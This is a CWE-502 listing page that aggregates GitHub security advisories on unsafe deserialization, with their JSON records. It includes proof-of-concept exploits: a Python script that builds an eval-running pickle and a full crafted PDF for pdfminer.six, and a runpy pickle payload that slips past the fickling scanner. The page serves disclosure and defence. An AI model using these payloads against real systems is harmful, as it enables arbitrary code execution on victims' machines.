CWE-502
AllowedDeserialization of Untrusted Data
Abstraction: Base · Status: Draft
The product deserializes untrusted data without sufficiently ensuring that the resulting data will be valid.
5084 vulnerabilities reference this CWE, most recent first.
GHSA-WF54-F8V9-V72V
Vulnerability from github – Published: 2024-05-23 03:30 – Updated: 2025-10-22 00:33Justice AV Solutions Viewer Setup 8.3.7.250-1 contains a malicious binary when executed and is signed with an unexpected authenticode signature. A remote, privileged threat actor may exploit this vulnerability to execute of unauthorized PowerShell commands.
{
"affected": [],
"aliases": [
"CVE-2024-4978"
],
"database_specific": {
"cwe_ids": [
"CWE-502",
"CWE-506"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-05-23T02:15:09Z",
"severity": "HIGH"
},
"details": "Justice AV Solutions Viewer Setup 8.3.7.250-1 contains a malicious binary when executed and is signed with an unexpected authenticode signature. A remote, privileged threat actor may exploit this vulnerability to execute of unauthorized PowerShell commands.",
"id": "GHSA-wf54-f8v9-v72v",
"modified": "2025-10-22T00:33:02Z",
"published": "2024-05-23T03:30:41Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-4978"
},
{
"type": "WEB",
"url": "https://twitter.com/2RunJack2/status/1775052981966377148"
},
{
"type": "WEB",
"url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2024-4978"
},
{
"type": "WEB",
"url": "https://www.javs.com/downloads"
},
{
"type": "WEB",
"url": "https://www.rapid7.com/blog/post/2024/05/23/cve-2024-4978-backdoored-justice-av-solutions-viewer-software-used-in-apparent-supply-chain-attack"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:A/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-WF5F-4JWR-PPCP
Vulnerability from github – Published: 2025-11-07 20:52 – Updated: 2026-01-09 00:30Summary
pdfminer.six will execute arbitrary code from a malicious pickle file if provided with a malicious PDF file. The CMapDB._load_data() function in pdfminer.six uses pickle.loads() to deserialize pickle files. These pickle files are supposed to be part of the pdfminer.six distribution stored in the cmap/ directory, but a malicious PDF can specify an alternative directory and filename as long as the filename ends in .pickle.gz. A malicious, zipped pickle file can then contain code which will automatically execute when the PDF is processed.
Details
# Vulnerable code in pdfminer/cmapdb.py:233-246
def _load_data(cls, name: str) -> Any:
name = name.replace("\0", "") # Insufficient sanitization
filename = "%s.pickle.gz" % name
# ... path construction ...
path = os.path.join(directory, filename) # If filename is an absolte path, directory is ignored
# ...
return type(str(name), (), pickle.loads(gzfile.read())) # Unsafe deserialization
An attacker can:
1. Create a malicious PDF with a CMap reference like /malicious
2. Place a malicious pickle file at /malicious.pickle.gz
3. When the PDF is processed, pdfminer loads and deserializes the malicious pickle
4. The pickle deserialization can execute arbitrary Python code
POC
Malicious PDF
Create a PDF with a malicious CMAP entry:
5 0 obj
<<
/Type /Font
/Subtype /Type0
/BaseFont /MaliciousFont-Identity-H
/Encoding /#2Fpdfs#2Fmalicious
/DescendantFonts [6 0 R]
>>
endobj
Here the /Encoding points to /pdfs/malicious. Pdfminer will append the extension .pickle.gz to this filename. Place the PDF in a file called /pdfs/malicious.pdf.
Malicious Pickle
Create a malicious, zipped pickle to execute. For example, with this Python script:
#!/usr/bin/env python3
import pickle
import gzip
def create_demo_pickle():
print("Creating demonstration pickle file...")
# Create payload that executes code AND returns a dict (as pdfminer expects)
class EvilPayload:
def __reduce__(self):
# This function will be called during unpickling
code = "print('Malicious code executed.') or exit(0) or {}"
return (eval, (code,))
demo_cmap_data = EvilPayload()
# Create the pickle file that the path traversal would access
target_path = "./malicious.pickle.gz"
try:
with gzip.open(target_path, 'wb') as f:
pickle.dump(demo_cmap_data, f)
print(f"✓ Created demonstration pickle file: {target_path}")
return target_path
except Exception as e:
print(f"✗ Error creating pickle file: {e}")
return None
if __name__ == "__main__":
create_demo_pickle()
This will create a harmless, zipped pickle file that will display "Malicious code eecuted." then exit when deserialized. Put the file in /pdfs/malicious.pickle.gz.
Test
Install pdfminer.six and run pdf2text.py /pdfs/malicious.pdf. Instead of processing the PDF as normal you should see the output:
$ pdf2txt.py malicious.pdf
Malicious code executed!
Impact
If pdfminer.six processes a malicious PDF which points to a zipped pickle file under the control of an attacker the result is arbitrary code execution on the victim's system. An attacker could execute the Python code of their chosing with the permissions of the process running pdfminer.six.
The difficulty in achieving this depends on the OS, see below.
Linux, MacOS - harder to exploit
On Linux-like systems only files on the filesystem can be resolved. An attacker would need to provide the malicious PDF for processing and the malicious pickle file would need to be present on the target system in a location that the attacker already knows, since it needs to be set in the PDF itself. In many cases this will be difficult to exploit because even if the attacker provides both the PDF and the pickle file together, there would be no way to know in advance which full path to the pickle file to specify. In many cases this would make exploitation difficult or impossible. However:
- An attacker may find a way to write files to a known location on the target system or
- The system in question may, by design, read files from a known location such as a network share designated for PDF ingestion.
Overall, there is generally less risk on a Linux or Linux-like system.
Windows - easier to exploit
Windows paths can specify network locations e.g. WebDAV, SMB. This means that an attacker could host the malicious pickle remotely and specify a path to the it in the PDF. Since there is no need to get the malicious pickle file on to the target system, exploitation is easier on a Windows OS.
Appendix
A complete, malicious PDF is provided here. A dockerized POC is available upon request.
%PDF-1.4
1 0 obj
<<
/Type /Catalog
/Pages 2 0 R
>>
endobj
2 0 obj
<<
/Type /Pages
/Kids [3 0 R]
/Count 1
>>
endobj
3 0 obj
<<
/Type /Page
/Parent 2 0 R
/MediaBox [0 0 612 792]
/Contents 4 0 R
/Resources
<<
/Font
<<
/F1 5 0 R
>>
>>
>>
endobj
4 0 obj
<<
/Length 44
>>
stream
BT
/F1 12 Tf
100 700 Td
(Malicious PDF) Tj
ET
endstream
endobj
5 0 obj
<<
/Type /Font
/Subtype /Type0
/BaseFont /MaliciousFont-Identity-H
/Encoding /#2Fpdfs#2Fmalicious
/DescendantFonts [6 0 R]
>>
endobj
6 0 obj
<<
/Type /Font
/Subtype /CIDFontType2
/BaseFont /MaliciousFont
/CIDSystemInfo
<<
/Registry (Adobe)
/Ordering (Identity)
/Supplement 0
>>
/FontDescriptor 7 0 R
>>
endobj
7 0 obj
<<
/Type /FontDescriptor
/FontName /MaliciousFont
/Flags 4
/FontBBox [-1000 -1000 1000 1000]
/ItalicAngle 0
/Ascent 1000
/Descent -200
/CapHeight 800
/StemV 80
>>
endobj
xref
0 8
0000000000 65535 f
0000000009 00000 n
0000000058 00000 n
0000000115 00000 n
0000000274 00000 n
0000000370 00000 n
0000000503 00000 n
0000000673 00000 n
trailer
<<
/Size 8
/Root 1 0 R
>>
startxref
871
%%EOF
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "pdfminer.six"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "20251107"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-64512"
],
"database_specific": {
"cwe_ids": [
"CWE-502"
],
"github_reviewed": true,
"github_reviewed_at": "2025-11-07T20:52:24Z",
"nvd_published_at": "2025-11-10T22:15:40Z",
"severity": "HIGH"
},
"details": "### Summary\n\npdfminer.six will execute arbitrary code from a malicious pickle file if provided with a malicious PDF file. The `CMapDB._load_data()` function in pdfminer.six uses `pickle.loads()` to deserialize pickle files. These pickle files are supposed to be part of the pdfminer.six distribution stored in the `cmap/` directory, but a malicious PDF can specify an alternative directory and filename as long as the filename ends in `.pickle.gz`. A malicious, zipped pickle file can then contain code which will automatically execute when the PDF is processed.\n\n### Details\n\n```python\n# Vulnerable code in pdfminer/cmapdb.py:233-246\ndef _load_data(cls, name: str) -\u003e Any:\n name = name.replace(\"\\0\", \"\") # Insufficient sanitization\n filename = \"%s.pickle.gz\" % name\n # ... path construction ...\n path = os.path.join(directory, filename) # If filename is an absolte path, directory is ignored\n # ...\n return type(str(name), (), pickle.loads(gzfile.read())) # Unsafe deserialization\n```\n\nAn attacker can:\n1. Create a malicious PDF with a CMap reference like `/malicious`\n2. Place a malicious pickle file at `/malicious.pickle.gz`\n3. When the PDF is processed, pdfminer loads and deserializes the malicious pickle\n4. The pickle deserialization can execute arbitrary Python code\n\n### POC\n\n#### Malicious PDF\n\nCreate a PDF with a malicious CMAP entry:\n\n```\n5 0 obj\n\u003c\u003c\n/Type /Font\n/Subtype /Type0\n/BaseFont /MaliciousFont-Identity-H\n/Encoding /#2Fpdfs#2Fmalicious\n/DescendantFonts [6 0 R]\n\u003e\u003e\nendobj\n```\n\nHere the /Encoding points to `/pdfs/malicious`. Pdfminer will append the extension `.pickle.gz` to this filename. Place the PDF in a file called `/pdfs/malicious.pdf`.\n\n#### Malicious Pickle\n\nCreate a malicious, zipped pickle to execute. For example, with this Python script:\n\n```python\n#!/usr/bin/env python3\nimport pickle\nimport gzip\n\ndef create_demo_pickle():\n print(\"Creating demonstration pickle file...\")\n\n # Create payload that executes code AND returns a dict (as pdfminer expects)\n class EvilPayload:\n def __reduce__(self):\n # This function will be called during unpickling\n code = \"print(\u0027Malicious code executed.\u0027) or exit(0) or {}\"\n return (eval, (code,))\n\n demo_cmap_data = EvilPayload()\n\n # Create the pickle file that the path traversal would access\n target_path = \"./malicious.pickle.gz\"\n\n try:\n with gzip.open(target_path, \u0027wb\u0027) as f:\n pickle.dump(demo_cmap_data, f)\n print(f\"\u2713 Created demonstration pickle file: {target_path}\")\n return target_path\n\n except Exception as e:\n print(f\"\u2717 Error creating pickle file: {e}\")\n return None\n\nif __name__ == \"__main__\":\n create_demo_pickle()\n```\n\nThis will create a harmless, zipped pickle file that will display \"Malicious code eecuted.\" then exit when deserialized. Put the file in `/pdfs/malicious.pickle.gz`.\n\n#### Test\n\nInstall pdfminer.six and run `pdf2text.py /pdfs/malicious.pdf`. Instead of processing the PDF as normal you should see the output:\n\n```\n$ pdf2txt.py malicious.pdf\nMalicious code executed!\n```\n\n### Impact\n\nIf pdfminer.six processes a malicious PDF which points to a zipped pickle file under the control of an attacker the result is arbitrary code execution on the victim\u0027s system. An attacker could execute the Python code of their chosing with the permissions of the process running pdfminer.six.\n\nThe difficulty in achieving this depends on the OS, see below.\n\n#### Linux, MacOS - harder to exploit\n\nOn Linux-like systems only files on the filesystem can be resolved. An attacker would need to provide the malicious PDF for processing *and* the malicious pickle file would need to be present on the target system in a location that the attacker already knows, since it needs to be set in the PDF itself. In many cases this will be difficult to exploit because even if the attacker provides both the PDF and the pickle file together, there would be no way to know in advance which full path to the pickle file to specify. In many cases this would make exploitation difficult or impossible. However:\n\n* An attacker may find a way to write files to a known location on the target system or\n* The system in question may, by design, read files from a known location such as a network share designated for PDF ingestion.\n\nOverall, there is generally less risk on a Linux or Linux-like system.\n\n#### Windows - easier to exploit\n\nWindows paths can specify network locations e.g. WebDAV, SMB. This means that an attacker could host the malicious pickle remotely and specify a path to the it in the PDF. Since there is no need to get the malicious pickle file on to the target system, exploitation is easier on a Windows OS.\n\n### Appendix\n\nA complete, malicious PDF is provided here. A dockerized POC is available upon request.\n\n```\n%PDF-1.4\n1 0 obj\n\u003c\u003c\n/Type /Catalog\n/Pages 2 0 R\n\u003e\u003e\nendobj\n\n2 0 obj\n\u003c\u003c\n/Type /Pages\n/Kids [3 0 R]\n/Count 1\n\u003e\u003e\nendobj\n\n3 0 obj\n\u003c\u003c\n/Type /Page\n/Parent 2 0 R\n/MediaBox [0 0 612 792]\n/Contents 4 0 R\n/Resources\n\u003c\u003c\n/Font\n\u003c\u003c\n/F1 5 0 R\n\u003e\u003e\n\u003e\u003e\n\u003e\u003e\nendobj\n\n4 0 obj\n\u003c\u003c\n/Length 44\n\u003e\u003e\nstream\nBT\n/F1 12 Tf\n100 700 Td\n(Malicious PDF) Tj\nET\nendstream\nendobj\n\n5 0 obj\n\u003c\u003c\n/Type /Font\n/Subtype /Type0\n/BaseFont /MaliciousFont-Identity-H\n/Encoding /#2Fpdfs#2Fmalicious\n/DescendantFonts [6 0 R]\n\u003e\u003e\nendobj\n\n6 0 obj\n\u003c\u003c\n/Type /Font\n/Subtype /CIDFontType2\n/BaseFont /MaliciousFont\n/CIDSystemInfo\n\u003c\u003c\n/Registry (Adobe)\n/Ordering (Identity)\n/Supplement 0\n\u003e\u003e\n/FontDescriptor 7 0 R\n\u003e\u003e\nendobj\n\n7 0 obj\n\u003c\u003c\n/Type /FontDescriptor\n/FontName /MaliciousFont\n/Flags 4\n/FontBBox [-1000 -1000 1000 1000]\n/ItalicAngle 0\n/Ascent 1000\n/Descent -200\n/CapHeight 800\n/StemV 80\n\u003e\u003e\nendobj\n\nxref\n0 8\n0000000000 65535 f\n0000000009 00000 n\n0000000058 00000 n\n0000000115 00000 n\n0000000274 00000 n\n0000000370 00000 n\n0000000503 00000 n\n0000000673 00000 n\ntrailer\n\u003c\u003c\n/Size 8\n/Root 1 0 R\n\u003e\u003e\nstartxref\n871\n%%EOF\n```",
"id": "GHSA-wf5f-4jwr-ppcp",
"modified": "2026-01-09T00:30:27Z",
"published": "2025-11-07T20:52:24Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/pdfminer/pdfminer.six/security/advisories/GHSA-wf5f-4jwr-ppcp"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-64512"
},
{
"type": "WEB",
"url": "https://github.com/pdfminer/pdfminer.six/commit/b808ee05dd7f0c8ea8ec34bdf394d40e63501086"
},
{
"type": "PACKAGE",
"url": "https://github.com/pdfminer/pdfminer.six"
},
{
"type": "WEB",
"url": "https://github.com/pdfminer/pdfminer.six/releases/tag/20251107"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2025/11/msg00017.html"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2026/01/msg00005.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Arbitrary Code Execution in pdfminer.six via Crafted PDF Input"
}
GHSA-WF76-QGQQ-GCFJ
Vulnerability from github – Published: 2022-05-24 17:08 – Updated: 2023-01-14 05:27Google Kubernetes Engine Plugin 0.8.0 and earlier does not configure its YAML parser to prevent the instantiation of arbitrary types. This results in a remote code execution vulnerability exploitable by users able to provide YAML input files to Google Kubernetes Engine Plugin’s build step.
Google Kubernetes Engine Plugin 0.8.1 configures its YAML parser to only instantiate safe types.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.jenkins-ci.plugins:google-kubernetes-engine"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.8.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2020-2121"
],
"database_specific": {
"cwe_ids": [
"CWE-502"
],
"github_reviewed": true,
"github_reviewed_at": "2023-01-14T05:27:29Z",
"nvd_published_at": "2020-02-12T15:15:00Z",
"severity": "HIGH"
},
"details": "Google Kubernetes Engine Plugin 0.8.0 and earlier does not configure its YAML parser to prevent the instantiation of arbitrary types. This results in a remote code execution vulnerability exploitable by users able to provide YAML input files to Google Kubernetes Engine Plugin\u2019s build step.\n\nGoogle Kubernetes Engine Plugin 0.8.1 configures its YAML parser to only instantiate safe types.",
"id": "GHSA-wf76-qgqq-gcfj",
"modified": "2023-01-14T05:27:29Z",
"published": "2022-05-24T17:08:47Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-2121"
},
{
"type": "PACKAGE",
"url": "https://github.com/jenkinsci/google-kubernetes-engine-plugin"
},
{
"type": "WEB",
"url": "https://jenkins.io/security/advisory/2020-02-12/#SECURITY-1731"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2020/02/12/3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "RCE vulnerability in Google Kubernetes Engine Plugin"
}
GHSA-WF7F-8FXF-XFXC
Vulnerability from github – Published: 2024-06-04 12:31 – Updated: 2025-09-29 19:36Deserialization of untrusted data can occur in versions of the MLflow platform running version 0.5.0 or newer, enabling a maliciously uploaded PyTorch model to run arbitrary code on an end user’s system when interacted with.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "mlflow"
},
"ranges": [
{
"events": [
{
"introduced": "0.5.0"
},
{
"last_affected": "3.4.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-37059"
],
"database_specific": {
"cwe_ids": [
"CWE-502"
],
"github_reviewed": true,
"github_reviewed_at": "2024-06-05T13:21:55Z",
"nvd_published_at": "2024-06-04T12:15:12Z",
"severity": "HIGH"
},
"details": "Deserialization of untrusted data can occur in versions of the MLflow platform running version 0.5.0 or newer, enabling a maliciously uploaded PyTorch model to run arbitrary code on an end user\u2019s system when interacted with.",
"id": "GHSA-wf7f-8fxf-xfxc",
"modified": "2025-09-29T19:36:21Z",
"published": "2024-06-04T12:31:05Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-37059"
},
{
"type": "PACKAGE",
"url": "https://github.com/mlflow/mlflow"
},
{
"type": "WEB",
"url": "https://hiddenlayer.com/sai-security-advisory/mlflow-june2024"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "MLFlow unsafe deserialization"
}
GHSA-WF95-V233-352G
Vulnerability from github – Published: 2026-07-01 18:31 – Updated: 2026-07-01 18:31NVIDIA Megatron Bridge for Linux contains a vulnerability where an attacker could cause deserialization of untrusted data. A successful exploit of this vulnerability might lead to code execution, escalation of privileges, data tampering, and information disclosure.
{
"affected": [],
"aliases": [
"CVE-2026-24247"
],
"database_specific": {
"cwe_ids": [
"CWE-502"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-01T16:16:45Z",
"severity": "HIGH"
},
"details": "NVIDIA Megatron Bridge for Linux contains a vulnerability where an attacker could cause deserialization of untrusted data. A successful exploit of this vulnerability might lead to code execution, escalation of privileges, data tampering, and information disclosure.",
"id": "GHSA-wf95-v233-352g",
"modified": "2026-07-01T18:31:47Z",
"published": "2026-07-01T18:31:47Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-24247"
},
{
"type": "WEB",
"url": "https://github.com/NVIDIA/product-security/tree/main/2026/5841"
},
{
"type": "WEB",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-24247"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-WFCF-C7X5-2Q5G
Vulnerability from github – Published: 2023-01-23 15:30 – Updated: 2023-01-30 18:30The Analyticator WordPress plugin before 6.5.6 unserializes user input provided via the settings, which could allow high privilege users such as admin to perform PHP Object Injection when a suitable gadget is present
{
"affected": [],
"aliases": [
"CVE-2022-4323"
],
"database_specific": {
"cwe_ids": [
"CWE-502"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-01-23T15:15:00Z",
"severity": "HIGH"
},
"details": "The Analyticator WordPress plugin before 6.5.6 unserializes user input provided via the settings, which could allow high privilege users such as admin to perform PHP Object Injection when a suitable gadget is present",
"id": "GHSA-wfcf-c7x5-2q5g",
"modified": "2023-01-30T18:30:24Z",
"published": "2023-01-23T15:30:33Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-4323"
},
{
"type": "WEB",
"url": "https://wpscan.com/vulnerability/ce8027b8-9473-463e-ba80-49b3d6d16228"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-WFFW-394C-6775
Vulnerability from github – Published: 2022-05-24 17:40 – Updated: 2024-03-21 03:33** UNSUPPORTED WHEN ASSIGNED ** IBM InfoSphere Information Server 8.5.0.0 is affected by deserialization of untrusted data which could allow remote unauthenticated attackers to execute arbitrary code. NOTE: This vulnerability only affects products that are no longer supported by the maintainer.
{
"affected": [],
"aliases": [
"CVE-2020-27583"
],
"database_specific": {
"cwe_ids": [
"CWE-502"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-01-26T18:15:00Z",
"severity": "CRITICAL"
},
"details": "** UNSUPPORTED WHEN ASSIGNED ** IBM InfoSphere Information Server 8.5.0.0 is affected by deserialization of untrusted data which could allow remote unauthenticated attackers to execute arbitrary code. NOTE: This vulnerability only affects products that are no longer supported by the maintainer.",
"id": "GHSA-wffw-394c-6775",
"modified": "2024-03-21T03:33:58Z",
"published": "2022-05-24T17:40:12Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-27583"
},
{
"type": "WEB",
"url": "https://n4nj0.github.io/advisories/ibm-infosphere-java-deserialization"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-WFGQ-9F7C-XCW5
Vulnerability from github – Published: 2024-01-16 18:31 – Updated: 2025-06-11 18:35The Formidable Forms WordPress plugin before 6.2 unserializes user input, which could allow anonymous users to perform PHP Object Injection when a suitable gadget is present.
{
"affected": [],
"aliases": [
"CVE-2023-1405"
],
"database_specific": {
"cwe_ids": [
"CWE-502"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-01-16T16:15:10Z",
"severity": "HIGH"
},
"details": "The Formidable Forms WordPress plugin before 6.2 unserializes user input, which could allow anonymous users to perform PHP Object Injection when a suitable gadget is present.",
"id": "GHSA-wfgq-9f7c-xcw5",
"modified": "2025-06-11T18:35:38Z",
"published": "2024-01-16T18:31:09Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-1405"
},
{
"type": "WEB",
"url": "https://wpscan.com/vulnerability/8c727a31-ff65-4472-8191-b1becc08192a"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-WFJ3-V98M-R3P5
Vulnerability from github – Published: 2024-04-07 18:30 – Updated: 2026-04-28 21:34Deserialization of Untrusted Data vulnerability in PickPlugins Product Designer.This issue affects Product Designer: from n/a through 1.0.32.
{
"affected": [],
"aliases": [
"CVE-2024-31277"
],
"database_specific": {
"cwe_ids": [
"CWE-502"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-04-07T18:15:10Z",
"severity": "HIGH"
},
"details": "Deserialization of Untrusted Data vulnerability in PickPlugins Product Designer.This issue affects Product Designer: from n/a through 1.0.32.",
"id": "GHSA-wfj3-v98m-r3p5",
"modified": "2026-04-28T21:34:31Z",
"published": "2024-04-07T18:30:30Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-31277"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/vulnerability/product-designer/wordpress-product-designer-plugin-1-0-32-php-object-injection-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-WFQ2-52F7-7QVJ
Vulnerability from github – Published: 2026-01-09 20:52 – Updated: 2026-01-11 14:54Fickling's assessment
runpy was added to the list of unsafe imports (https://github.com/trailofbits/fickling/commit/9a2b3f89bd0598b528d62c10a64c1986fcb09f66).
Original report
Summary
Fickling versions up to and including 0.1.6 do not treat Python’s runpy module as unsafe. Because of this, a malicious pickle that uses runpy.run_path() or runpy.run_module() is classified as SUSPICIOUS instead of OVERTLY_MALICIOUS.
If a user relies on Fickling’s output to decide whether a pickle is safe to deserialize, this misclassification can lead them to execute attacker-controlled code on their system.
This affects any workflow or product that uses Fickling as a security gate for pickle deserialization.
Details
The runpy module is missing from fickling's block list of unsafe module imports in fickling/analysis.py. This is the same root cause as CVE-2025-67748 (pty) and CVE-2025-67747 (marshal/types).
Incriminated source code:
- File: fickling/analysis.py
- Class: UnsafeImports
- Issue: The blocklist does not include runpy, runpy.run_path, runpy.run_module, or runpy._run_code
Reference to similar fix:
- PR #187 added pty to the blocklist to fix CVE-2025-67748
- PR #108 documented the blocklist approach
- The same fix pattern should be applied for runpy
How the bypass works:
1. Attacker creates a pickle using runpy.run_path() in __reduce__
2. Fickling's UnsafeImports analysis does not flag runpy as dangerous
3. Only the UnusedVariables heuristic triggers, resulting in SUSPICIOUS severity
4. The pickle should be rated OVERTLY_MALICIOUS like os.system, eval, and exec
Tested behavior (fickling 0.1.6):
| Function | Fickling Severity | RCE Capable |
|---|---|---|
| os.system | LIKELY_OVERTLY_MALICIOUS | Yes |
| eval | OVERTLY_MALICIOUS | Yes |
| exec | OVERTLY_MALICIOUS | Yes |
| runpy.run_path | SUSPICIOUS | Yes ← BYPASS |
| runpy.run_module | SUSPICIOUS | Yes ← BYPASS |
Suggested fix:
Add to the unsafe imports blocklist in fickling/analysis.py:
- runpy
- runpy.run_path
- runpy.run_module
- runpy._run_code
- runpy._run_module_code
PoC
Complete instructions, including specific configuration details, to reproduce the vulnerability.Environment: - Python 3.13.2 - fickling 0.1.6 (latest version, installed via pip)
Step 1: Create malicious pickle
import pickle import runpy
class MaliciousPayload: def reduce(self): return (runpy.run_path, ("/tmp/malicious_script.py",))
with open("malicious.pkl", "wb") as f: pickle.dump(MaliciousPayload(), f)
Step 2: Create the malicious script that will be executed
echo 'print("RCE ACHIEVED"); open("/tmp/pwned","w").write("compromised")' > /tmp/malicious_script.py
Step 3: Analyze with fickling
fickling --check-safety malicious.pkl
Expected output (if properly detected): Severity: OVERTLY_MALICIOUS
Actual output (bypass confirmed):
{
"severity": "SUSPICIOUS",
"analysis": "Variable _var0 is assigned value run_path(...) but unused afterward; this is suspicious and indicative of a malicious pickle file",
"detailed_results": {
"AnalysisResult": {
"UnusedVariables": ["_var0", "run_path(...)"]
}
}
}
Step 4: Prove RCE by loading the pickle
import pickle pickle.load(open("malicious.pkl", "rb"))
Check: ls /tmp/pwned <-- file exists, proving code execution
Pickle disassembly (evidence):
0: \x80 PROTO 4
2: \x95 FRAME 92
11: \x8c SHORT_BINUNICODE 'runpy' 18: \x94 MEMOIZE (as 0) 19: \x8c SHORT_BINUNICODE 'run_path' 29: \x94 MEMOIZE (as 1) 30: \x93 STACK_GLOBAL 31: \x94 MEMOIZE (as 2) 32: \x8c SHORT_BINUNICODE '/tmp/malicious_script.py' ... 100: R REDUCE 101: \x94 MEMOIZE (as 5) 102: . STOP
Impact
Vulnerability Type: Incomplete blocklist leading to safety check bypass (CWE-184) and arbitrary code execution via insecure deserialization (CWE-502).
Who is impacted: Any user or system that relies on fickling to vet pickle files for security issues before loading them. This includes:
Attack scenario: An attacker uploads a malicious ML model or pickle file to a model repository. The victim's pipeline uses fickling to scan uploads. Fickling rates the file as "SUSPICIOUS" (not "OVERTLY_MALICIOUS"), so the file is not rejected. When the victim loads the model, arbitrary code executes on their system.
Severity: HIGH
- The attacker achieves arbitrary code execution
- The security control (fickling) is specifically designed to prevent this
- The bypass requires no special conditions beyond crafting the pickle with runpy
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.1.6"
},
"package": {
"ecosystem": "PyPI",
"name": "fickling"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.1.7"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-22606"
],
"database_specific": {
"cwe_ids": [
"CWE-184",
"CWE-502"
],
"github_reviewed": true,
"github_reviewed_at": "2026-01-09T20:52:40Z",
"nvd_published_at": "2026-01-10T02:15:49Z",
"severity": "HIGH"
},
"details": "# Fickling\u0027s assessment\n\n`runpy` was added to the list of unsafe imports (https://github.com/trailofbits/fickling/commit/9a2b3f89bd0598b528d62c10a64c1986fcb09f66).\n\n# Original report\n\n### Summary\nFickling versions up to and including 0.1.6 do not treat Python\u2019s runpy module as unsafe. Because of this, a malicious pickle that uses runpy.run_path() or runpy.run_module() is classified as SUSPICIOUS instead of OVERTLY_MALICIOUS.\n\nIf a user relies on Fickling\u2019s output to decide whether a pickle is safe to deserialize, this misclassification can lead them to execute attacker-controlled code on their system.\n\nThis affects any workflow or product that uses Fickling as a security gate for pickle deserialization.\n\n### Details\nThe `runpy` module is missing from fickling\u0027s block list of unsafe module imports in `fickling/analysis.py`. This is the same root cause as CVE-2025-67748 (pty) and CVE-2025-67747 (marshal/types).\n\nIncriminated source code:\n- File: `fickling/analysis.py`\n- Class: `UnsafeImports`\n- Issue: The blocklist does not include `runpy`, `runpy.run_path`, `runpy.run_module`, or `runpy._run_code`\n\nReference to similar fix:\n- PR #187 added `pty` to the blocklist to fix CVE-2025-67748\n- PR #108 documented the blocklist approach\n- The same fix pattern should be applied for `runpy`\n\nHow the bypass works:\n1. Attacker creates 